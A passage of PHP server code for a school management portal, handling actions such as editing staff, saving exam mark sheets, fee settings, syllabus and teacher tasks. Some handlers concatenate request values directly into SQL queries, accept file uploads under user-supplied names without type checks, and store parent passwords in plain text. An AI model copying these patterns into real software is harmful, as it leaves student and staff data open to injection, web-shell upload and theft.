	$result =  $m->update ('eduportal_add_live_classes', $data);	
	

	$_SESSION['Upsuccess']=1;

	header("location:../add_LiveClass.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='EditLinkZoomInvitaiton')

{
//print_r($_REQUEST);
	$data = array(

		
		'Invite_Link' => $_REQUEST['Invite_Link']	
		);

	$m->where("videoLec_id", $_REQUEST['linkID']);
	$m->where("branch_id", $_SESSION['branch']);
	$result =  $m->update ('eduportal_student_videoLecture', $data);	
	

	$_SESSION['Upsuccess']=1;

	header("location:../view_student_lecture.php?".session_id().session_id().session_id().session_id().session_id());

}





// Start code edit user

if($_REQUEST['action']=='EditUser')

{



 if($_FILES['img_file']['name']!=""){

			$target_path = "../staff_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		} 

		else {

			$img_src=$_REQUEST['old_img'];

		}


    if($_FILES['img_file']['name']!=""){

		

		

		$data = array(

		'user_fname' => $_REQUEST['fname'],

		'user_email' => $_REQUEST['user_email'],

		'branch_id' => $_SESSION['branch'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_religion' => $_REQUEST['religion'],

		'attach_image' => $img_src,

		'user_cnic' => $_REQUEST['cnic'],

		'user_postalcode' => $_REQUEST['postal'],

		'user_blood' => $_REQUEST['blood'],

		'cell_no' => $_REQUEST['cell_no'],

		'user_address' => $_REQUEST['address'],

		'user_qualification' => $_REQUEST['qualification']);

	

		

	} else{

	

	$data = array(

		'user_fname' => $_REQUEST['fname'],

		'user_email' => $_REQUEST['user_email'],

		'branch_id' => $_SESSION['branch'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_religion' => $_REQUEST['religion'],

		'user_cnic' => $_REQUEST['cnic'],

		'user_postalcode' => $_REQUEST['postal'],

		'user_blood' => $_REQUEST['blood'],

		'cell_no' => $_REQUEST['cell_no'],

		'user_address' => $_REQUEST['address'],

		'user_qualification' => $_REQUEST['qualification']);

	} 

	 	//print_r($data);

	 $m->where("user_id", $_REQUEST['user']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	



	$_SESSION['User_Updated']=1;

	header("location:../edit_user.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$_REQUEST['emp']);

}



// end code 



if($_REQUEST['action']=='AddTeacher')

{

	$data = array(

		'user_fname' => $_REQUEST['fname'],

		'cell_no' => $_REQUEST['phone'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_address' => $_REQUEST['address'],

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert ('edu_user_config', $data);	



	$user= $m->getInsertId();



	// now inserting designation ID for teacher 



		$data = array(

		'user_id' => $user,

		'designation_id' => 6,

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert ('eduportal_user_designation_config', $data);	





	$_SESSION['Upsuccess']=1;

	header("location:../teachers.php?".session_id().session_id().session_id().session_id().session_id());

}







if($_REQUEST['action']=='UpdateTeacher')

{

	$data = array(

		'user_fname' => $_REQUEST['fname'],

		'cell_no' => $_REQUEST['phone'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_address' => $_REQUEST['address'],

		'branch_id' => $_SESSION['branch']

		);



	$m->where("user_id", utf8_decode_all($_REQUEST['user']));

	$result =  $m->update ('edu_user_config', $data);	



	

	$_SESSION['Upsuccess']=1;

	header("location:../teachers.php?".session_id().session_id().session_id().session_id().session_id());

}







if($_REQUEST['action']=='UpdateTeacherSubjects')

{

	$m->where("branch_id", $_SESSION['branch']);

	$m->where("user_id", $_REQUEST['user']);

	$result =  $m->delete ('eduportal_teacher_subject_details');	





	foreach($_REQUEST['subjects'] as $subject){

		



	$data = array(

		'branch_id' => $_SESSION['branch'],

		'subject_id' => $subject,

		'user_id' => $_REQUEST['user']);



		$result =  $m->insert ('eduportal_teacher_subject_details', $data);	



	}





	$_SESSION['done']=1;

	header("location:../subjects_allocation.php?".session_id().session_id().session_id().session_id().session_id());

}







if($_REQUEST['action']=='UpdateClassSubjects')

{

	$m->where("branch_id", $_SESSION['branch']);

	$m->where("section_id", $_REQUEST['section_id']);

	$m->where("class_id", $_REQUEST['class_id']);

	$result =  $m->delete ('eduportal_class_subjects');	





	foreach($_REQUEST['subjects'] as $subject){

		



	$data = array(

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section_id'],

		'subject_id' => $subject,

		'branch_id' => $_SESSION['branch'],

		'session_id' => $_REQUEST['session'],

		);



		$result =  $m->insert ('eduportal_class_subjects', $data);	



	}



		// now adding user audit detail



	  			



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Class Subjects , Class=".$Class_Name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['done']=1;

	header("location:../class_subjects.php?".session_id().session_id().session_id().session_id().session_id());

}







if(($_REQUEST['action']=='ReEnrollStudent'))

{



	if($_REQUEST['student']!='')

	{

		
	    

	    $data = array(

	    'session_id' => $_REQUEST['session'],
	    'class_id' => $_REQUEST['class_id'],
	    'section_id' => $_REQUEST['section'],	    
	    'status' => "0");


		$m->where("student_id", utf8_decode_all($_REQUEST['student']));

		$result =  $m->update ('edu_student_details', $data);



		        $m->where("branch_id", $branch);

				$branch=$m->get("edu_branch_config");

				$fname=$_REQUEST['fname'];
				$cell=$_REQUEST['cellNo'];


				if($branch[0]['stds_welcome_msg']=="1" || $branch[0]['stds_welcome_msg']==1 AND $_REQUEST['sendSms']=="YES" ){

				

					$msg="Dear ".$fname.", It is our pleasure to welcome you at ".$_SESSION['branch_name'].". Thank you for choosing us!";

					

					$result=sendSMSFuction($cell,$msg,$_SESSION['brand']);

					//print_r($result);

					 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cell,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    				$result =  $m->insert ('edu_messages_details', $data);						

				}	

		$_SESSION['reEnroll']=1;



		header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&section=".$_REQUEST['section']."&session=".$_REQUEST['session']."");

	}



	else

	{

		header("location:../old_student_profile.php?".session_id().session_id().session_id().session_id().session_id());

	}





}  // main 





if(($_REQUEST['action']=='DeleteTeacher'))

{



	if($_REQUEST['user']!='')

	{

		

	   $data = array('status' => "1");

		$m->where("user_id", utf8_decode_all($_REQUEST['user']));

		$result =  $m->update ('edu_user_config', $data);	

		header("location:../teachers.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../teachers.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");


	}





}  // main 







if($_REQUEST['action']=='UpdateSubject')

{

	$data = array('subject' => $_REQUEST['sub']);



	$m->where ("subject_id", $_REQUEST['subject']);



	$result =  $m->update ('eduportal_subject_config', $data);



	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Subject , Subject Name=".$_REQUEST['sub'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['Upsuccess']=1;

	header("location:../subjects.php?".session_id().session_id().session_id().session_id().session_id());

}



//Update categories 

if($_REQUEST['action']=='UpdateCategories')

{

	$data = array('cat_name' => $_REQUEST['cat']);



	$m->where ("cat_id", $_REQUEST['subject']);



	$result =  $m->update ('eduportal_contacts_category', $data);	



	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Category , Category Name=".$_REQUEST['cat'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



				//	print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['Upsuccess']=1;

	header("location:../add_categories.php?".session_id().session_id().session_id().session_id().session_id());

}			// close update categories





//Update contacts 

if($_REQUEST['action']=='UpdateContacts')

{

		$title=$_REQUEST['title'];

		$template=$_REQUEST['contact'];

		$branch=$_SESSION['branch'];

		$cats=$_REQUEST['cat'];

		

		$data = array(

				'contact_title' => utf8_decode_all(ucwords($title)),

				'contact_no' => utf8_decode_all($template),

				'contact_details' => utf8_decode_all($_REQUEST['detail']),

				'branch_id' => utf8_decode_all($branch),

				'cat_id' => utf8_decode_all($cats)

			);



	$m->where ("contact_id", $_REQUEST['contact_id']);



	$result =  $m->update ('eduportal_contacts', $data);	



	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Contact , Contact Name=".$title;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['Upsuccess']=1;

	header("location:../contacts.php?".session_id().session_id().session_id().session_id().session_id());

}			// close update contacts











if(($_REQUEST['action']=='SaveMarkSheet'))

{



	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("subject_id", $_REQUEST['subjects']); 

	

	$records =  $m->get ('eduportal_exam_marksheet');	

	

	if(count($records)>0){

		

		$_SESSION['error']=1;	

	

		header("location:../add_marksheet.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']."&subjects=".$_REQUEST['subjects']."");



	



	} // ending if 



	else {



	

		for($i=0;$i<count($_REQUEST['students']);$i++){



			

			  

				/*	echo $query;



					print_r($average);



					$data = array(

					'branch_id' => $_SESSION['branch'],

					'class_id' => $_REQUEST['class_id'],

					'section_id' => $_REQUEST['section_id'],

					'session_id' => $_REQUEST['session'],

					'student_id' => $_REQUEST['students'][$i],

					'subject_id' => $_REQUEST['subjects'],

					'obtained_marks' => $_REQUEST['obtmarks'][$i],

					'total_marks' => $_REQUEST['totalMarks'][0],

					'term_id' => $_REQUEST['term_id']

					);

*/

					$b=$_SESSION['branch'];

					$cls=$_REQUEST['class_id'];

					$sec=$_REQUEST['section_id'];

					$ses=$_REQUEST['session'];

					$std=$_REQUEST['students'][$i];

					$sb=$_REQUEST['subjects'];

					$ob=$_REQUEST['obtmarks'][$i];

					$tm=$_REQUEST['totalMarks'][0];

					$gt=$average[0]['grade_title'];

					$t=$_REQUEST['term_id'];





					$qr="insert into eduportal_exam_marksheet (branch_id,class_id,section_id,session_id,student_id,subject_id,obtained_marks,total_marks,term_id) values('$b','$cls','$sec','$ses','$std','$sb','$ob','$tm','$t')";



					// echo $qr."<br>";

			

					$m->query($qr);





			//echo "<pre>"; print_r($data); echo "</pre>";

			

			//$result = $m->insert('eduportal_exam_marksheet',$data);



		}



		// now adding user audit detail



	  				$m->where("subject_id", $_REQUEST['subjects']);

					$sec = $m->get("eduportal_subject_config");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$subject_name=$sec[0]['subject'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Single Sub Mark , Class=".$Class_Name.", Subject=".$subject_name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



		$_SESSION['yes']=1;	

		

		 header("location:../view_Submarksheet.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']."&subjects=".$_REQUEST['subjects']."");


  }	



}  // main 





	if(($_POST['action']=='updateParentAccess'))

{


	


//print_r($_POST);

		$data = array(

		'parents_name' => $_POST['parents_name'],

		'parents_cellno' => $_POST['parents_cellno'],

		'password' => $_POST['password']

		);



		 //print_r($data);

		$m->where ("parents_id", $_POST['parents_id']);

		$m->where ("branch_id", $_SESSION['branch']);

		$result =  $m->update ('eduportal_parents_access', $data);

		//print_r($result);


	$_SESSION['Added']=1;	

	
	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_POST['student_id']);

}



   // Delete Parent Id code



if(($_REQUEST['action']=='DeleteParentId'))

{


	if($_REQUEST['id']!='')

	{

	    $m->where("parents_id", $_REQUEST['id']);

     	$result = $m-> delete('eduportal_parents_access');
     

		$_SESSION['deleteexp']=1;

		header("location:../parents_id.php?".session_id().session_id().session_id().session_id().session_id()."");

	}


	else

	{

		header("location:../parents_id.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}


}			// end delete Parents Id code



if(($_REQUEST['action']=='SaveCompleteMarkSheet'))

{



	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	

	

	$records =  $m->delete('eduportal_exam_marksheet');	





	// this loop is for subjects 

	

	for($k=0;$k<count($_REQUEST['subjects']);$k++){		

	

	

			for($i=0;$i<count($_REQUEST['students']);$i++){



										

/*						$data = array(

						'branch_id' => $_SESSION['branch'],

						'class_id' => $_REQUEST['class_id'],

						'section_id' => $_REQUEST['section_id'],

						'session_id' => $_REQUEST['session'],

						'student_id' => $_REQUEST['students'][$i],

						'subject_id' => $_REQUEST['subjects'][$k],

						'obtained_marks' => $_REQUEST['obtmarks'.$_REQUEST['subjects'][$k]][$i],

						'total_marks' => $_REQUEST['total_marks'.$_REQUEST['subjects'][$k]],

						'grade' => $average[0]['grade_title'],

						'term_id' => $_REQUEST['term_id']

						);





				// echo "<pre>"; print_r($data); echo "</pre>";

				//$result = $m->insert('eduportal_exam_marksheet',$data);





*/

					$b=$_SESSION['branch'];

					$cls=$_REQUEST['class_id'];

					$sec=$_REQUEST['section_id'];

					$ses=$_REQUEST['session'];

					$std=$_REQUEST['students'][$i];

					$sb=$_REQUEST['subjects'][$k];

					$ob=$_REQUEST['obtmarks'.$_REQUEST['subjects'][$k]][$i];

					$tm=$_REQUEST['total_marks'.$_REQUEST['subjects'][$k]];

					$gt=$average[0]['grade_title'];

					$t=$_REQUEST['term_id'];





					$qr="insert into eduportal_exam_marksheet (branch_id,class_id,section_id,session_id,student_id,subject_id,obtained_marks,total_marks,term_id) values('$b','$cls','$sec','$ses','$std','$sb','$ob','$tm','$t')";



					//echo $qr."<br>";

			

					$m->query($qr);



			}



     }



     			// now adding user audit detail



	  				$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Save Complete Marks Sheet , Class=".$Class_Name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);	



		$_SESSION['yes']=1;	

		

		header("location:../reports.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']);







}  // main 













if(($_REQUEST['action']=='SaveCompleteMarkSheet11'))

{



	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	

	

	$records =  $m->delete('eduportal_exam_marksheet');	





	// this loop is for subjects 

	

	for($k=0;$k<count($_REQUEST['subjects']);$k++){		

	

	

			for($i=0;$i<count($_REQUEST['students']);$i++){



					/*					

						$data = array(

						'branch_id' => $_SESSION['branch'],

						'class_id' => $_REQUEST['class_id'],

						'section_id' => $_REQUEST['section_id'],

						'session_id' => $_REQUEST['session'],

						'student_id' => $_REQUEST['students'][$i],

						'subject_id' => $_REQUEST['subjects'][$k],

						'obtained_marks' => $_REQUEST['obtmarks'.$_REQUEST['subjects'][$k]][$i],

						'sms_status' => $_REQUEST['sms_status'.$_REQUEST['subjects'][$k]][$i],

						'total_marks' => $_REQUEST['total_marks'.$_REQUEST['subjects'][$k]],

						'grade' => $average[0]['grade_title'],

						'term_id' => $_REQUEST['term_id']

						);





				echo "<pre>"; print_r($data); echo "</pre>";

				$result = $m->insert('eduportal_exam_marksheet',$data);



*/



					$b=$_SESSION['branch'];

					$cls=$_REQUEST['class_id'];

					$sec=$_REQUEST['section_id'];

					$ses=$_REQUEST['session'];

					$std=$_REQUEST['students'][$i];

					$sb=$_REQUEST['subjects'][$k];

					$ob=$_REQUEST['obtmarks'.$_REQUEST['subjects'][$k]][$i];

					$tm=$_REQUEST['total_marks'.$_REQUEST['subjects'][$k]];

					$status=$_REQUEST['sms_status'.$_REQUEST['subjects'][$k]];

					$gt=$average[0]['grade_title'];

					$t=$_REQUEST['term_id'];





					$qr="insert into eduportal_exam_marksheet (branch_id,class_id,section_id,session_id,student_id,subject_id,obtained_marks,total_marks,term_id,sms_status) values('$b','$cls','$sec','$ses','$std','$sb','$ob','$tm','$t','$status')";



					//echo $qr."<br>";

			

					$m->query($qr);



			}



     }



		$_SESSION['yes']=1;	

		

		header("location:../reports.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']);







}  // main 






if(($_REQUEST['action']=='SaveSyllabus'))

{




	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";





/*
	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);
	

	$records =  $m->delete('eduportal_syllabus_management');	


*/


	// this loop is for subjects 

foreach ($_REQUEST['subjects'] as $kkey) {


			if ($_REQUEST['section_id']=="All") {

	 			$m->where ("session_id", $_REQUEST['session']);

                $m->where ("branch_id", $_SESSION['branch']);

                $m->where ("term_id", $_REQUEST['term_id']);

                $m->where ("class_id", $_REQUEST['class_id']);

				//$m->where ("section_id", $_REQUEST['section_id']);

                $m->where ("subjects_id", $kkey);      

                $records =  $m->delete('eduportal_syllabus_management');


            } else {


            	$m->where ("session_id", $_REQUEST['session']);

                $m->where ("branch_id", $_SESSION['branch']);

                $m->where ("term_id", $_REQUEST['term_id']);

                $m->where ("class_id", $_REQUEST['class_id']);

				$m->where ("section_id", $_REQUEST['section_id']);

                $m->where ("subjects_id", $kkey);      

                $records =  $m->delete('eduportal_syllabus_management');

            }
	
	if ($_REQUEST['section_id']=="All") {

	$m->where("class_id", $_REQUEST['class_id']);
	$m->where("branch_id", $_SESSION['branch']);
	$sec = $m->get("edu_adm_section_detail");	
	
	foreach($sec as $sectionID){

	$data1 = array(

				'branch_id' => $_SESSION['branch'],

				'class_id' => $_REQUEST['class_id'],

				'section_id' => $sectionID['section_id'],	

				'term_id' => $_REQUEST['term_id'],	

				'session_id' => $_REQUEST['session'],	

				'subjects_id' => $kkey,	

				'syllabus' => $_REQUEST['syllabus'.$kkey]
			);

 				//echo "data--"."<pre>"; print_r($data1); echo "</pre>";


				$m->insert('eduportal_syllabus_management',$data1);			

			}



		} else {



			$data2 = array(

				'branch_id' => $_SESSION['branch'],

				'class_id' => $_REQUEST['class_id'],

				'section_id' => $_REQUEST['section_id'],	

				'term_id' => $_REQUEST['term_id'],	

				'session_id' => $_REQUEST['session'],	

				'subjects_id' => $kkey,	

				'syllabus' => $_REQUEST['syllabus'.$kkey]
			);

 				//echo "data--"."<pre>"; print_r($data1); echo "</pre>";


				$m->insert('eduportal_syllabus_management',$data2);




		}

}


     		

		$_SESSION['yes']=1;			

		header("location:../syllabus_management.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']);

}






if(($_POST['action']=='SaveFeeSettings'))

{



	// echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	for($i=0;$i<count($_POST['students']);$i++){
	

		$m->where ("branch_id", $_SESSION['branch']);

		$m->where ("student_id", $_POST['students'][$i]);

		$m->where ("session_id", $_POST['session']);

		$m->where ("class_id", $_POST['class_id']);

		

		$student_fee=$m->get('eduportal_student_fee_structure');

		// checking if the fee is already added then update



		$data = array(

		'class_id' => $_POST['class_id'],

		'branch_id' => $_SESSION['branch'],

		'session_id' => $_POST['session'],

		'student_id' => $_POST['students'][$i],

		'std_outstanding_blc'=> $_POST['std_outstanding_blc'][$i],

		'std_transport_fee'=> $_POST['std_transport_fee'][$i],

		'std_misc_fee'=> $_POST['std_misc_fee'][$i],

		'std_tution_fee'=> $_POST['std_tution_fee'][$i],

		'discount_reason'=> $_POST['discount_reason'][$i]

	);





		if(count($student_fee)>0){



				// echo "Update <br>";

			

			$m->where ("class_id", $_REQUEST['class_id']);

			$m->where ("student_id", $_POST['students'][$i]);

			$m->where ("session_id", $_POST['session']);
			
			$m->update('eduportal_student_fee_structure',$data);

			

		}else {





		$insert="Insert into eduportal_student_fee_structure (class_id,branch_id,session_id,student_id,std_outstanding_blc,std_transport_fee,std_misc_fee,std_tution_fee) values ('".$_POST['class_id']."','".$_SESSION['branch']."','".$_POST['session']."','".$_POST['students'][$i]."','".$_POST['std_outstanding_blc'][$i]."','".$_POST['std_transport_fee'][$i]."','".$_POST['std_misc_fee'][$i]."','".$_POST['std_tution_fee'][$i]."') ";



			 //echo "Insert ".$insert." <br>";



			$m->query($insert);



		}



 			




	} // ending loop







	$_SESSION['fee_settings']=1;	

	

	header("location:../fee_settings.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session']);



	



}  // main 





if(($_POST['action']=='UpdateFamilyData'))

{

	// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	for($i=0;$i<count($_POST['stdID']);$i++){
	

		$data = array(

		'std_transport_fee' => $_POST['transportfee'][$i],

		'std_misc_fee' => $_POST['misc_fee'][$i],				

		'std_tution_fee'=> $_POST['tutionfee'][$i],

		'discount'=> $_POST['discount'][$i],

		'discount_reason'=> $_POST['discount_reason'][$i]

	);
				
		    //echo "<pre>"; print_r($_POST['stdID'][$i]); echo "</pre>";

			$m->where ("student_id", $_POST['stdID'][$i]);

			$m->where ("branch_id", $_SESSION['branch']);

			$m->where ("session_id", $_SESSION['current_session']);
			
			$m->update('eduportal_student_fee_structure',$data);





			$data1 = array(

		'first_name' => $_POST['first_name'][$i],

		'last_name' => $_POST['last_name'][$i],	

		'family_code' => $_POST['family_code'][$i],			

		'cell_no'=> $_POST['cell_no'][$i]

	);


			//echo "<pre>"; print_r($_POST['stdID'][$i]); echo "</pre>";

			$m->where ("student_id", $_POST['stdID'][$i]);

			$m->where ("branch_id", $_SESSION['branch']);

			$m->where ("session_id", $_SESSION['current_session']);
			
			$m->update('edu_student_details',$data1);

			

	} // ending loop


	$_SESSION['updateFamilyData']=1;	

	header("location:../edit_family_data.php?".session_id().session_id().session_id().session_id().session_id()."&code=".$_REQUEST['code']."&CodeCell=".$_REQUEST['CodeCell']);

}



if(($_POST['action']=='SaveStaffUpdateSalary'))

{

	// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	for($i=0;$i<count($_POST['staff']);$i++){
	

		$data = array(

		'user_salary' => $_POST['user_salary'][$i],

		'emp_trav' => $_POST['emp_trav'][$i],

		'emp_reimbersement' => $_POST['emp_reimbersement'][$i],		

		'emp_other'=> $_POST['emp_other'][$i]

	);
				
			

			$m->where ("user_id", $_POST['staff'][$i]);

			$m->where ("branch_id", $_SESSION['branch']);
			
			$m->update('edu_user_config',$data);

			

	} // ending loop


	$_SESSION['updateStaffSalary']=1;	

	header("location:../update_staff_salary.php?".session_id().session_id().session_id().session_id().session_id());

}





if($_REQUEST['action']=="Add_Teacher_Task"){


  //print_r($_REQUEST);


  if($_FILES['img_file']['name']!=""){

      $target_path = "teacher_task_img/"; 

      $rand=rand(00000,999999);

      $target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

      $img_src =  basename($rand.$_FILES['img_file']['name']);

      $tmp = $_FILES['img_file']['tmp_name'];

      move_uploaded_file($tmp, $target_path);

    }   else{$img_src ='';}



  $data = array(

  

    'branch_id' => $_SESSION['branch'],

    'class_id' => $_REQUEST['class_id'],

    'section_id' => $_REQUEST['section'],

    'subject_id' => $_REQUEST['subject_id'],

    'session_id' => $_REQUEST['session'],

    'task_date' => $_REQUEST['taskDate'],

    'task_youtube_link' => $_REQUEST['YoutubeLink'],

    'image' => $img_src,

    'task_details' => $_REQUEST['details']);

  
  $result =  $m->insert('eduportal_teachers_task', $data); 


  $_SESSION['addsuccessexp']=1;

  header("location:../teachers_task.php?".session_id().session_id().session_id().session_id().session_id());

}




if($_REQUEST['action']=="update_task"){


  //print_r($_REQUEST);


  if($_FILES['img_file']['name']!=""){

      $target_path = "../teacher_task_img/"; 

      $rand=rand(00000,999999);

      $target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

      $img_src =  basename($rand.$_FILES['img_file']['name']);

      $tmp = $_FILES['img_file']['tmp_name'];

      move_uploaded_file($tmp, $target_path);

    }   else{$img_src =$_REQUEST['old_file'];}



  $data = array(

  

    'branch_id' => $_SESSION['branch'],

    'class_id' => $_REQUEST['class_id'],

    'section_id' => $_REQUEST['section'],

    'subject_id' => $_REQUEST['subject_id'],

    'session_id' => $_REQUEST['session'],

    'task_date' => $_REQUEST['taskDate'],

    'task_youtube_link' => $_REQUEST['YoutubeLink'],

    'image' => $img_src,

    'task_details' => $_REQUEST['details']);


	
	$m->where ("task_id", $_REQUEST['task_id']);

	$result =  $m->update ('eduportal_teachers_task', $data);	


  $_SESSION['addsuccessexp']=1;

  header("location:../teachers_task.php?".session_id().session_id().session_id().session_id().session_id());

}



	



if($_REQUEST['action']=='DeleteTeacherTask')

{

	if($_REQUEST['id']!='')

	{


	    $m->where("task_id", $_REQUEST['id']);

     	$result = $m-> delete('eduportal_teachers_task');

		$_SESSION['deleteexp']=1;

		header("location:../teachers_task.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}




if($_REQUEST['action']=="UpdateAssignTeacherTask"){


  //print_r($_REQUEST);

		$m->where("task_id", $_REQUEST['taskId']);

     	$result = $m-> delete('eduportal_assign_task_to_teachers');

  foreach($_REQUEST['users'] as $user){
  
 $data = array(

  

    'branch_id' => $_SESSION['branch'],

    'user_id' => $user,    

    'task_id' => $_REQUEST['taskId']);

  
  $result =  $m->insert('eduportal_assign_task_to_teachers', $data); 	

}
  $_SESSION['addsuccessexp']=1;

  header("location:../assignTask.php?".session_id().session_id().session_id().session_id().session_id());

}



if(($_POST['action']=='SendTerm'))

{

//	print_r($_POST);

  //echo "<pre>"; print_r($_REQUEST); echo "</pre>";



  $session=$_POST['session'];   

  $terms=$_POST['terms'];   

  $class_id=$_POST['class_id'];

  $header=$_POST['header'];    



 $terms1=implode(",",$terms);



$_SESSION['done']=1;

	header("location:../test_results.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&header=".$_POST['header']."&terms=".$terms1); 



}  // main 




if(($_POST['action']=='OldSendTerm'))

{

//	print_r($_POST);

 // echo "<pre>"; print_r($_POST); echo "</pre>";



  $session=$_POST['session'];   

  $terms=$_POST['terms'];   

  $class_id=$_POST['class_id'];    



 $terms1=implode(",",$terms);



$_SESSION['done']=1;

	header("location:../old_test_results.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&terms=".$terms1); 



}  // main 












if(($_REQUEST['action']=='UpdateMarkSheet'))

{



	



	$m->where ("branch_id", $_SESSION['branch']);

